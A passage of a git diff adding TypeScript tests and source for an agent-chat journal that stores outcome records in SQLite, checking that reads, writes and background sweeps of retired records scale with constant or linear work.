scaling_writes') + const work = { + statements: [...statements], + read: Object.fromEntries([...read].sort()), + writes: writes.map(([target, n]) => [target, n]), + bytes: writes.reduce((sum, [, , bytes]) => sum + bytes, 0) + } + statements.length = 0 + read.clear() + return work + }, + stop: () => vi.restoreAllMocks() + } +} + +function expectSameWork( + small: ReturnType['take']>, + large: ReturnType['take']> +): void { + expect(large.statements).toStrictEqual(small.statements) + expect(large.read).toStrictEqual(small.read) + expect(large.writes).toStrictEqual(small.writes) + // Only the digits of the larger chat's sequence numbers differ. + expect(Math.abs(large.bytes - small.bytes)).toBeLessThanOrEqual(64) +} + +it('appends a streamed revision, a Codex plan update and an acceptance with the same work at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(size, `append-${size}`) + await rig.writer.enqueue(revision('answer', message('x'.repeat(4_096), 'assistant'), 1)) + await rig.writer.enqueue(revision('plan', plan('Plan 1'), 1)) + const watched = watch(database) + await rig.writer.enqueue(revision('answer', message('y'.repeat(4_096), 'assistant'), 2)) + const streamed = watched.take() + await rig.writer.enqueue(revision('plan', plan('Plan 2'), 2)) + const planned = watched.take() + await rig.writer.enqueue(revision(providerItemId, message('send'), 1)) + const accepted = watched.take() + watched.stop() + expect(rig.state().submissions.get('send')?.dispatchState).toBe('accepted') + return { streamed, planned, accepted } + } + const small = await measure(N) + const large = await measure(10 * N) + for (const key of ['streamed', 'planned', 'accepted'] as const) { + expectSameWork(small[key], large[key]) + } + // The item's record alone: the sequence is the epoch's coverage, never a record. + expect(small.streamed.writes).toStrictEqual([['journal_outcomes INSERT', 1]]) +}) + +/** One settlement row creating `size` status items. */ +const batchOf = + (size: number) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'lifecycle-batch', + settlementId: `batch-${size}`, + mutations: Array.from({ length: size }, (_, index) => ({ + kind: 'item' as const, + itemId: `batch-${index}`, + revision: 1, + body: { kind: 'status' as const, text: `Batch ${index}` } + })) + }) + +it('encodes a settlement batch with the same work per mutation up to the mutation cap', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(N, `batch-${size}`) + const watched = watch(database) + const stringify = vi.spyOn(JSON, 'stringify') + await rig.writer.enqueue(batchOf(size)) + const calls = stringify.mock.calls.length + const work = watched.take() + watched.stop() + expect(rig.state().items.has(`batch-${size - 1}`)).toBe(true) + return { calls, statements: work.statements.length } + } + // Schemas compile on their first parse; that one-time work is not the batch's. + await measure(10) + const few = await measure(20) + const more = await measure(110) + const most = await measure(MAX_JOURNAL_LIFECYCLE_BATCH_MUTATIONS) + // Linear in the batch: each further 90 mutations add the same work. + expect(most.calls - more.calls).toBe(more.calls - few.calls) + expect(most.statements).toBe(few.statements) +}) + +/** A tool call whose structured input holds `size` nested objects, as a large multi-edit does. */ +const toolCall = (size: number) => ({ + kind: 'tool-call' as const, + name: 'edit', + input: { + edits: Array.from({ length: size }, (_, index) => ({ path: `file-${index}`, at: { index } })) + }, + state: 'running' as const +}) + +it("encodes a structured tool call's revisions without reading its input through the draft, at N and 10N nested objects", async () => { + const measure = async (size: number) => { + const { rig } = outcomeChat(N, `tool-${size}`) + // The draft's copy-on-write proxies read through Reflect.get; plain reads never call it. + const reads = vi.spyOn(Reflect, 'get') + await rig.writer.enqueue(revision('tool', toolCall(size), 1)) + const first = reads.mock.calls.length + reads.mockClear() + await rig.writer.enqueue(revision('tool', toolCall(size), 2)) + const next = reads.mock.calls.length + reads.mockRestore() + expect(rig.state().items.get('tool')?.body).toEqual(toolCall(size)) + return { first, next } + } + expect(await measure(10 * N)).toStrictEqual(await measure(N)) +}) + +/** A chat this build wrote, holding `size` live items and `size` waiting queue cards. */ +async function liveChat(size: number, label: string) { + const stateDirectory = join(root, label) + const journal = await journals.open({ + identity: { + sessionId, + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory, + // A fixed clock: a timestamp that moves mid-chat would change which rows touch the activity time. + now: () => 10_000 + }) + const kept = Array.from({ length: size }, (_, ordinal) => ({ + identity: { provider: 'codex' as const, threadId: 'thread-1', turnId: 'turn-1', ordinal }, + body: { kind: 'status' as const, text: `Status ${ordinal}` }, + ownerFence: 1 + })) + for (const { identity, body } of kept) { + await journal.appendItem(identity, body, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await journal.queuedMessages.insert({ + messageId: `card-${identity.ordinal}`, + body: message(`card ${identity.ordinal}`) + }) + } + return { journal, kept, database: openTestJournalHostDatabase(stateDirectory) } +} + +// Rewind, replacement and rollover restate the live chat in one transaction, as main does: the +// epoch's rows are built by one fold and its records by a second through the draft. Both stay +// linear: the statements are fixed, and rows read, rows written and draft nodes grow by the same +// amount for each restated item and card. +it.each(['rewind', 'replacement', 'rollover'] as const)( + 'publishes a %s of a chat with the same work per restated item at N, 2N and 11N', + async (path) => { + const measure = async (size: number) => { + const { journal, kept, database } = await liveChat(size, `${path}-${size}`) + const watched = watch(database) + transitions.length = 0 + await (path === 'rollover' + ? journal.rollEpoch('unreconcilable_prefix', 1) + : journal.replaceEpochItems(path === 'rewind' ? 'handle_forked' : 'legacy_import', 1, kept)) + const work = watched.take() + watched.stop() + expect(journal.snapshot().items).toHaveLength(path === 'rollover' ? 0 : size) + expect(journal.queuedMessages.list()).toHaveLength(size) + const counts = new Map([ + ...Object.entries(work.read).map(([table, rows]): [string, number] => [ + `read ${table}`, + rows + ]), + ...work.writes.map(([target, rows]): [string, number] => [`${target}`, Number(rows)]), + ['draft nodes', transitions.reduce((sum, transition) => sum + transition.tracked(), 0)] + ]) + return { statements: work.statements, counts } + } + // A chat's first item and card start collections an empty chat lacks, so the line is taken + // between non-empty chats: 10N more restated items cost ten times what N more do. + const base = await measure(N) + const small = await measure(2 * N) + const large = await measure(11 * N) + expect(large.statements).toStrictEqual(small.statements) + expect([...large.counts.keys()]).toStrictEqual([...small.counts.keys()]) + for (const [counted, value] of large.counts) { + const from = base.counts.get(counted) ?? 0 + expect({ counted, grown: value - from }).toStrictEqual({ + counted, + grown: 10 * ((small.counts.get(counted) ?? 0) - from) + }) + } + expect(large.counts.get('draft nodes')).toBeGreaterThan(small.counts.get('draft nodes') ?? 0) + } +) + +/** Distinct keys the chat's records hold, live, deleted and scalar alike. */ +function outcomeKeys(database: JournalHostDatabase): number { + return Number( + database.db + .prepare('SELECT COUNT(*) AS n FROM (SELECT DISTINCT field, entry_key FROM journal_outcomes)') + .get()?.n + ) +} + +it("opens a new chat reading each key's newest record once, the same with N and 10N superseded revisions", async () => { + const measure = async (revisions: number) => { + const { database, rig } = outcomeChat(N, `open-${revisions}`) + for (let index = 1; index <= revisions; index++) { + await rig.writer.enqueue(revision('answer', message(`answer ${index}`, 'assistant'), index)) + } + const records = database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcomes').get()?.n + const watched = watch(database) + const loaded = restoreJournal(database.db, sessionId) + const work = watched.take() + watched.stop() + expect(loaded && encodeJournalState(loaded.state)).toEqual(encodeJournalState(rig.state())) + return { database, work, records: Number(records), keys: outcomeKeys(database) } + } + const small = await measure(N) + const large = await measure(10 * N) + // Anti-vacuous: the larger chat holds 9N more superseded revisions of one key. + expect(large.records - small.records).toBe(9 * N) + expect(large.keys).toBe(small.keys) + expectSameWork(small.work, large.work) + // One record per key; of the chat's rows only the marker, which its outcome summary must agree with. + expect(small.work.read).toStrictEqual({ + journal_outcome_epochs: 1, + journal_outcomes: small.keys, + journal_rows: 1, + journal_sessions: 2 + }) + // Each read is one seek down the key index from the last key: no scan, no sort, no revision walk. + const plan = small.database.db + .prepare(`EXPLAIN QUERY PLAN ${JOURNAL_NEWEST_OUTCOME_SQL}`) + .all(1, '', '', 1) + .map((row) => String(row.detail)) + expect(plan).toEqual([ + 'SEARCH journal_outcomes USING INDEX journal_outcome_keys (generation=? AND (field,entry_key)>(?,?))' + ]) +}) + +/** An existing chat of `size` sends in its input rows, then three writes as outcome records. */ +async function prefixChat(size: number, label: string) { + const database = databaseFor(label) + const rig = projectionWriter(database, seedProjectionRows(database, historyOf(size))) + rigs.push(rig) + const watched = watch(database) + await rig.writer.enqueue(revision('answer', message('x'.repeat(4_096), 'assistant'), 1)) + const first = watched.take() + await rig.writer.enqueue(revision('answer', message('y'.repeat(4_096), 'assistant'), 2)) + const streamed = watched.take() + await rig.writer.enqueue(revision(providerItemId, message('send'), 1)) + const accepted = watched.take() + watched.stop() + return { database, rig, first, streamed, accepted } +} + +it('writes to an existing chat without reading its prefix, the same at N and 10N', async () => { + const small = await prefixChat(N, 'prefix-append-small') + const large = await prefixChat(10 * N, 'prefix-append-large') + for (const key of ['first', 'streamed', 'accepted'] as const) { + expectSameWork(small[key], large[key]) + } + // The first write appends the marker, then the item's record and the two scalars it changed. + expect(small.first.writes).toStrictEqual([ + ['journal_outcomes INSERT', 3], + ['journal_rows INSERT', 1] + ]) + expect(small.streamed.writes).toStrictEqual([['journal_outcomes INSERT', 1]]) + expect(large.rig.state().submissions.get('send')?.dispatchState).toBe('accepted') +}) + +it("opens an existing chat reading main's prefix rows and each tail key's newest record, at N and 10N", async () => { + const measure = async (size: number) => { + const { database, rig } = await prefixChat(size, `prefix-open-${size}`) + // The tail's one streamed item takes `size` more revisions: superseded, never read. + for (let index = 3; index < size + 3; index++) { + await rig.writer.enqueue(revision('answer', message(`answer ${index}`, 'assistant'), index)) + } + const watched = watch(database) + const loaded = restoreJournal(database.db, sessionId) + const work = watched.take() + watched.stop() + expect(loaded && encodeJournalState(loaded.state)).toEqual(encodeJournalState(rig.state())) + return { work, prefix: historyOf(size).length, keys: outcomeKeys(database) } + } + const small = await measure(N) + const large = await measure(10 * N) + for (const { work, prefix, keys } of [small, large]) { + // The prefix rows main folds, plus the marker: checked against the outcome summary, and met + // again on the prefix's last page. + expect(work.read.journal_rows).toBe(prefix + 2) + expect(work.read.journal_outcomes).toBe(keys) + } + expect(large.keys).toBe(small.keys) +}) + +/** The text of each keyed record an open decodes: every key's newest live record. */ +function newestEntries(database: JournalHostDatabase) { + const rows = database.db + .prepare( + `SELECT value_json FROM journal_outcomes o WHERE field <> '$' AND deleted = 0 AND seq = + (SELECT MAX(seq) FROM journal_outcomes WHERE generation = o.generation AND field = o.field + AND entry_key = o.entry_key)` + ) + .all() + return { texts: new Set(rows.map((row) => String(row.value_json))), records: rows.length } +} + +// Admission is linear in what is read, with a constant of one: one strict walk per input row read +// (main parses each row once; this adds the walk), one per outcome record read or written. Decoding +// takes each record as admission parsed it: no record is parsed or walked twice. +it('admits each row and record an existing chat reads or writes once, at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = await prefixChat(size, `admission-${size}`) + const entries = newestEntries(database) + const watched = watch(database) + admission.rows = 0 + admission.records = 0 + admission.walks = 0 + const parses = vi.spyOn(JSON, 'parse') + restoreJournal(database.db, sessionId) + const parsed = parses.mock.calls.filter(([text]) => entries.texts.has(text)).length + parses.mockRestore() + const open = { ...admission, parsed, entries: entries.records, read: watched.take().read } + admission.rows = 0 + const page = readJournalRowsAfterCursor(database.db, sessionId, epoch, 0, 100) + const paged = { walks: admission.rows, rows: page.filter((row) => row.kind !== 'outcome') } + admission.rows = 0 + admission.records = 0 + admission.walks = 0 + await rig.writer.enqueue(revision('answer', message('z'.repeat(4_096), 'assistant'), 3)) + const written = { ...admission, writes: watched.take().writes } + watched.stop() + return { open, paged, written, prefix: historyOf(size).length, keys: outcomeKeys(database) } + } + for (const { open, paged, written, prefix, keys } of [await measure(N), await measure(10 * N)]) { + // The marker is read twice (source check, last prefix page) and walked never. + expect(open.read.journal_rows).toBe(prefix + 2) + expect(open.rows).toBe(prefix) + expect(open.records).toBe(keys) + expect(open.walks).toBe(open.rows + open.records) + expect(open.entries).toBeGreaterThan(0) + expect(open.parsed).toBe(open.entries) + expect(paged.rows).toHaveLength(100) + expect(paged.walks).toBe(100) + // The written row's read-back, and each record the write inserts. + expect(written.rows).toBe(1) + expect(written.writes).toStrictEqual([['journal_outcomes INSERT', written.records]]) + expect(written.walks).toBe(written.rows + written.records) + } +}) + +it('runs a sweep pass with nothing to retire without reading history at N and 10N', async () => { + const measure = async (size: number) => { + const { database } = outcomeChat(size, `idle-${size}`) + const sweeper = new JournalOutcomeSweeper({ database: () => database, delay: async () => {} }) + const watched = watch(database) + await sweeper.pass() + sweeper.stop() + const work = watched.take() + watched.stop() + return work + } + const small = await measure(N) + for (const table of ['journal_rows', 'journal_outcomes']) { + expect(small.read[table] ?? 0).toBe(0) + } + expectSameWork(small, await measure(10 * N)) +}) + +it('sweeps a retired generation one bounded page per transaction at N and 10N', () => { + const measure = (size: number) => { + const { database } = outcomeChat(size, `sweep-${size}`) + // A replacement generation retires the published one. + database.db.exec(`INSERT INTO journal_outcome_generations (session_id, epoch) + VALUES ('${sessionId}', '${epoch}')`) + database.db.exec(`UPDATE journal_outcome_epochs SET generation = + (SELECT MAX(generation) FROM journal_outcome_generations)`) + const watched = watch(database) + expect(sweepJournalOutcomePage(database)).toBe(true) + const work = watched.take() + watched.stop() + return work + } + const small = measure(N) + expect(small.writes).toStrictEqual([['journal_outcomes DELETE', 32]]) + expectSameWork(small, measure(10 * N)) +}) + +it('sweeps a retired generation numbered after N and 10N live chats without rescanning them per page', () => { + const measure = (chats: number) => { + const database = databaseFor(`sweep-chats-${chats}`) + database.transaction((db) => { + const generation = db.prepare( + 'INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)' + ) + const live = db.prepare('INSERT INTO journal_outcome_epochs VALUES (?, ?, ?, 1, 1, 0)') + for (let index = 0; index < chats; index++) { + const id = Number(generation.run(`chat-${index}`, epoch).lastInsertRowid) + live.run(`chat-${index}`, epoch, id) + } + const retired = Number(generation.run('gone', 'gone-epoch').lastInsertRowid) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', ?, 1, 's0000000000000001:0000000000000000', ?, 0)`) + for (let index = 0; index < 100; index++) { + insert.run(retired, JSON.stringify(`k${index}`), JSON.stringify([`k${index}`, 'v'])) + } + }) + // Each page's candidate scan walks the generations above its position in order, so the live + // ones it passes are those numbered above that position. + const positions: number[] = [] + const prepare = database.db.prepare.bind(database.db) + vi.spyOn(database.db, 'prepare').mockImplementation((sql: string) => { + const statement = prepare(sql) + if (!sql.includes('LEFT JOIN journal_outcome_epochs')) { + return statement + } + const recorded: SqliteStatement = { + all: (...parameters) => { + positions.push(Number(parameters[0])) + return statement.all(...parameters) + }, + get: (...parameters) => statement.get(...parameters), + run: (...parameters) => statement.run(...parameters), + iterate: (...parameters) => statement.iterate(...parameters), + setReadBigInts: (enabled) => statement.setReadBigInts(enabled) + } + return recorded + }) + while (sweepJournalOutcomePage(database)) { + // One bounded page per call. + } + vi.mocked(database.db.prepare).mockRestore() + const passed = database.db.prepare( + 'SELECT COUNT(*) AS n FROM journal_outcome_epochs WHERE generation > ?' + ) + return positions.map((position) => Number(passed.get(position)?.n)) + } + const small = measure(N) + const large = measure(10 * N) + // Four record pages and the page that drops the generation row; only a pass's first page walks + // the live chats, as an idle pass does. + expect(small).toEqual([N, 0, 0, 0, 0]) + expect(large).toEqual([10 * N, 0, 0, 0, 0]) +}) + +it('catches a wire client up from outcomes reading only the groups it asks for at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(size, `wire-${size}`) + const after = rig.state().lastSequence + for (let index = 0; index < 3; index++) { + await rig.writer.enqueue( + revision('answer', message(`Answer ${index}`, 'assistant'), index + 1) + ) + } + const source = journalOutcomeSource(database.db, sessionId, epoch) + if (!source) { + throw new Error('missing outcomes') + } + const watched = watch(database) + expect(readJournalOutcomeGroups(database.db, epoch, source, after, 200)).toHaveLength(3) + const work = watched.take() + watched.stop() + return work + } + expectSameWork(await measure(N), await measure(10 * N)) +}) + +/** Reducer nodes the draft reaches to fold `row` onto `state`, without adopting it. */ +const trackedNodes = (state: JournalReducerState, row: JournalRow) => + isolateJournalTransition(state, (draft) => applyJournalRow(draft, row, row.ts)).tracked() + +it("folds a streamed revision and an acceptance through the draft with only main's scans growing at N and 10N", () => { + const measure = (size: number) => { + const database = databaseFor(`draft-${size}`) + const state = seedOutcomeRows(database, historyOf(size, true)) + const next = state.lastSequence + 1 + const live = { + items: state.items.size, + submissions: state.submissions.size, + cards: state.queue.cards.size, + returned: [...state.queue.cards.values()].filter((card) => card.state === 'returned').length, + streamed: trackedNodes( + state, + revision('answer', message('y'.repeat(4_096), 'assistant'), 2)(next, 10_000) + ), + accepted: trackedNodes(state, revision(providerItemId, message('send'), 1)(next, 10_000)) + } + return live + } + const small = measure(N) + const large = measure(10 * N) + const grown = (key: keyof typeof small) => large[key] - small[key] + // Main's reducer scans these on the same rows; the draft adds one node per value it reaches. + // A streamed revision's only growing term is the queue card scan: each card, and each returned + // card's body. + const cardScan = grown('cards') + grown('returned') + expect(cardScan).toBeGreaterThan(0) + expect(grown('streamed')).toBe(cardScan) + // An echo also reads every item with its body (context-clear and echo lookups) and every + // submission to find its send. + expect(grown('accepted')).toBe(2 * grown('items') + grown('submissions') + cardScan) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts new file mode 100644 index 00000000000..0acb87d871c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts @@ -0,0 +1,131 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' +import { restoreJournal } from './journal-open' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { JournalOutcomeSweeper } from './journal-outcome-cleanup' + +// The production sweeper over a real database, on its own timers. +const epoch = 'epoch-1' +const base = (seq: number) => ({ v: 4, epoch, seq, ts: 1_000 + seq, fence: 1 }) +const epochRow: JournalRow = { + ...base(1), + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'codex', threadId: 'thread-1' } +} +const item: JournalRow = { + ...base(2), + kind: 'item', + itemId: 'kept', + revision: 1, + body: { kind: 'status', text: 'kept' } +} + +let root: string +let database: JournalHostDatabase +const sweepers: JournalOutcomeSweeper[] = [] +beforeEach(async () => { + vi.useFakeTimers() + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-sweeper-')) + database = openTestJournalHostDatabase(root) + database.transaction((db) => { + publishTestJournalEpoch(db, 'live', epoch) + publishJournalOutcomeEpoch(db, 'live', epoch, [epochRow, item]) + }) +}) +afterEach(async () => { + sweepers.splice(0).forEach((sweeper) => sweeper.stop()) + vi.useRealTimers() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +function started(onError = vi.fn()) { + const rests = vi.fn(async () => {}) + const sweeper = new JournalOutcomeSweeper({ database: () => database, delay: rests, onError }) + sweepers.push(sweeper.start()) + return { rests, onError } +} + +/** A generation no epoch names any more, as a replacement leaves it, holding `keys` records. */ +function retire(keys: number): void { + database.transaction((db) => { + const retired = Number( + db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run('gone', 'gone-epoch').lastInsertRowid + ) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', ?, 1, 's0000000000000001:0000000000000000', ?, 0)`) + for (let index = 0; index < keys; index++) { + insert.run(retired, JSON.stringify(`k${index}`), JSON.stringify([`k${index}`, 'v'])) + } + }) +} + +const retiredRecords = () => + database.db + .prepare(`SELECT COUNT(*) AS n FROM journal_outcomes + WHERE generation NOT IN (SELECT generation FROM journal_outcome_epochs)`) + .get()?.n + +it('sweeps a retired generation a minute after launch in paced pages, keeping the live chat', async () => { + retire(100) + const { rests } = started() + await vi.advanceTimersByTimeAsync(59_999) + expect(retiredRecords()).toBe(100) + await vi.advanceTimersByTimeAsync(1) + expect(retiredRecords()).toBe(0) + // Four 32-record pages and the generation row, each its own transaction with a rest after it. + expect(rests.mock.calls.length).toBeGreaterThanOrEqual(4) + expect( + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + ).toBe(1) + expect(restoreJournal(database.db, 'live')?.state.items.has('kept')).toBe(true) +}) + +it('retries a failed pass at the next periodic pass, and runs none after it stops', async () => { + retire(10) + const failure = Object.assign(new Error('disk I/O error'), { code: 'ERR_SQLITE_ERROR' }) + vi.spyOn(database, 'transaction').mockImplementationOnce(() => { + throw failure + }) + const { onError } = started() + await vi.advanceTimersByTimeAsync(60_000) + expect(onError).toHaveBeenCalledWith(failure) + expect(retiredRecords()).toBe(10) + await vi.advanceTimersByTimeAsync(6 * 60 * 60_000) + expect(retiredRecords()).toBe(0) + retire(10) + sweepers.forEach((sweeper) => sweeper.stop()) + await vi.advanceTimersByTimeAsync(12 * 60 * 60_000) + expect(retiredRecords()).toBe(10) +}) + +it('rests nine times as long as each page worked, holding the sweep to a 10% duty cycle', async () => { + retire(100) + // Every page takes 30 ms on the sweeper's clock. + let clock = 0 + const rests = vi.fn(async (_ms: number) => {}) + const sweeper = new JournalOutcomeSweeper({ + database: () => database, + now: () => (clock += 30), + delay: rests + }) + sweepers.push(sweeper) + await sweeper.pass() + expect(retiredRecords()).toBe(0) + // Four record pages, each followed by its rest; the last page finds nothing more to do. + expect(rests.mock.calls).toEqual([[270], [270], [270], [270]]) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-table.ts b/src/main/native-chat/agent-session-journal/journal-outcome-table.ts new file mode 100644 index 00000000000..fb5c563037b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-table.ts @@ -0,0 +1,99 @@ +import type Database from '../../sqlite/sync-database' +import type { JournalReducerState } from './journal-reducer' +import { applyJournalRow } from './journal-reducer' +import { isolateJournalTransition } from './journal-reducer-transition' +import type { JournalRow } from './journal-row-schema' +import { journalRowReadBack } from './journal-row-table' +import { + encodeJournalOutcomes, + journalOutcomeScalars, + JournalOutcomeFold, + JOURNAL_PREFIX_ORDINAL +} from './journal-outcome-codec' +import type { JournalOutcomeSource } from './journal-outcome-format' + +// The key index orders each key's records newest first, so a range seek past the last key read lands +// on the next key's newest record: one indexed seek per key, whatever its revisions number. +export const JOURNAL_NEWEST_OUTCOME_SQL = `SELECT seq, field, entry_key, format, ordinal, value_json, + deleted FROM journal_outcomes WHERE generation = ? AND (field, entry_key) > (?, ?) AND seq <= ? + ORDER BY field, entry_key, seq DESC LIMIT 1` + +/** Folds each key's newest record, deletions included, over `baseline`, the chat's folded input + * prefix when it has one. Superseded revisions are never read: they no longer shape the chat. */ +export function readJournalOutcomes( + db: Database.Database, + sessionId: string, + epoch: string, + source: JournalOutcomeSource, + baseline?: JournalReducerState +): JournalReducerState { + const newest = db.prepare(JOURNAL_NEWEST_OUTCOME_SQL) + const fold = new JournalOutcomeFold() + let after = { field: '', key: '' } + for (;;) { + const row = newest.get(source.generation, after.field, after.key, source.through) + if (!row) { + return fold.finish(sessionId, epoch, source.through, baseline) + } + const value = fold.add(row) + after = { field: value.field, key: value.key } + } +} + +/** Runs inside the receipt transaction and only inserts: no record is ever updated or rewritten. A + * row the reader would reject is refused, as an input insert refuses it; the caller rolls back. */ +export function persistJournalOutcomeRows( + db: Database.Database, + state: JournalReducerState, + source: Pick, + rows: readonly JournalRow[], + savedAt?: number +): { state: JournalReducerState; adopt: () => JournalReducerState } { + let scalar = state.lastSequence === 0 ? {} : journalOutcomeScalars(state) + const transition = isolateJournalTransition(state, () => undefined) + const previous = db.prepare(`SELECT ordinal, deleted FROM journal_outcomes + WHERE generation = ? AND field = ? AND entry_key = ? ORDER BY seq DESC LIMIT 1`) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`) + for (const row of rows) { + // Folding what a reload reads keeps live state equal to it: an annotation the reader drops as + // unusable never reaches the model, so it is never refused by the strict record encoder. + const { stored } = journalRowReadBack(state.sessionId, row) + applyJournalRow(transition.state, stored, savedAt ?? row.ts) + const changes = transition.changes(true) + // Only this row's own transition is recorded, never a snapshot of a prefix value it left alone. + const encoded = encodeJournalOutcomes(transition.state, changes, scalar, transition.untracked) + scalar = encoded.scalars + for (const [index, value] of encoded.values.entries()) { + // Each change's record is at its own index; the scalar records after them match no change. + const change = changes.at(index) + const kept = previous.get(source.generation, value.field, value.key) + // A new or re-created key takes its place in the row's touch order, as the live map does; a + // key that existed before this row keeps its place, which for a key only the frozen prefix + // held is the prefix's own order. + const ordinal = change?.reinsert + ? appended(row.seq, index) + : kept?.deleted === 0 && typeof kept.ordinal === 'string' + ? kept.ordinal + : !kept && source.prefix > 0 && change + ? JOURNAL_PREFIX_ORDINAL + : appended(row.seq, index) + insert.run( + source.generation, + value.seq, + value.field, + value.key, + value.format, + ordinal, + value.json, + Number(value.deleted) + ) + } + } + return { state: transition.state, adopt: transition.adopt } +} + +function appended(seq: number, index: number): string { + return `s${String(seq).padStart(16, '0')}:${String(index).padStart(16, '0')}` +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts new file mode 100644 index 00000000000..0584008e80e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts @@ -0,0 +1,126 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect, it } from 'vitest' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readAgentSessionHistory } from '../agent-session-wire/agent-session-history-page' +import { projectJournalBatch } from '../agent-session-wire/agent-session-journal-batch' +import { readJournalOutcomeGroups } from './journal-read-row' +import { journalOutcomeSource } from './journal-outcome-format' +import { + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionBase as base, + seedOutcomeRows +} from './journal-projection-test-support' +import type { JournalRow } from './journal-row-schema' + +const journals = createTrackedJournalOpener() +let root: string +const identity = { + sessionId, + workspaceId: 'ws', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} as const +const item = (id: string) => ({ provider: 'orca', clientMessageId: id }) as const +afterEach(async () => { + await journals.closeAll() + if (root) { + await rm(root, { recursive: true, force: true }) + } +}) + +it('keeps sparse sequence groups whole across catch-up, lookahead, history limits and byte shrinking', async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcomes-wire-')) + const database = openTestJournalHostDatabase(root) + const rows: JournalRow[] = [projectionEpochRow] + for (let seq = 2; seq <= 30; seq++) { + rows.push({ + ...base(seq), + kind: 'item', + itemId: 'legacy', + revision: seq, + body: { kind: 'status', text: `revision ${seq}` } + }) + } + seedOutcomeRows(database, rows) + const journal = await journals.open({ identity, stateDirectory: root }) + const before = { epoch, sequence: 1 } + const old = journal.readSince(before) + if (!old.ok) { + throw new Error('dense read failed') + } + const expected = projectJournalBatch({ + rows: old.rows, + snapshot: journal.snapshot(), + afterSequence: 1 + }) + // Retention keeps a key's first and latest records, leaving whole sequences without any. + database.db.prepare('DELETE FROM journal_outcomes WHERE seq BETWEEN 3 AND 29').run() + const source = journalOutcomeSource(database.db, sessionId, epoch) + if (!source) { + throw new Error('missing outcome records') + } + const sparse = readJournalOutcomeGroups(database.db, epoch, source, 1) + expect(sparse.length).toBeLessThan(old.rows.length) + expect( + projectJournalBatch({ rows: sparse, snapshot: journal.snapshot(), afterSequence: 1 }) + ).toEqual(expected) + const cursor = journal.cursor() + await journal.appendLifecycleBatch({ + settlementId: 'whole-group', + fence: 1, + mutations: ['one', 'two'].map((id) => ({ + kind: 'item', + identity: item(id), + body: { kind: 'status', text: id }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + })) + }) + await journal.appendItem( + item('later'), + { kind: 'status', text: 'later' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const first = readAgentSessionHistory(journal, { + sessionId, + direction: 'after', + cursor, + limit: 1 + }) + expect(first).toMatchObject({ + ok: true, + page: { + hasNewer: true, + items: [{ body: { text: 'one' } }, { body: { text: 'two' } }], + window: { nextCursor: { sequence: cursor.sequence + 1 } } + } + }) + if (!first.ok) { + throw new Error('first group missing') + } + const second = readAgentSessionHistory(journal, { + sessionId, + direction: 'after', + cursor: first.page.window.nextCursor, + limit: 1 + }) + expect(second).toMatchObject({ + ok: true, + page: { hasNewer: false, items: [{ body: { text: 'later' } }] } + }) + const bounded = readAgentSessionHistory( + journal, + { sessionId, direction: 'after', cursor, limit: 5 }, + { reader: { budgetBytes: 1, form: (value) => ({ item: value, bytes: 100 }) } } + ) + expect(bounded).toMatchObject({ ok: false, reset: 'cursor_compacted' }) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-write.ts b/src/main/native-chat/agent-session-journal/journal-outcome-write.ts new file mode 100644 index 00000000000..79959c7d1b1 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-write.ts @@ -0,0 +1,46 @@ +import type Database from '../../sqlite/sync-database' +import { createJournalReducerState, type JournalReducerState } from './journal-reducer' +import type { JournalRow } from './journal-row-schema' +import { + advanceJournalOutcomeSource, + journalOutcomeSource, + 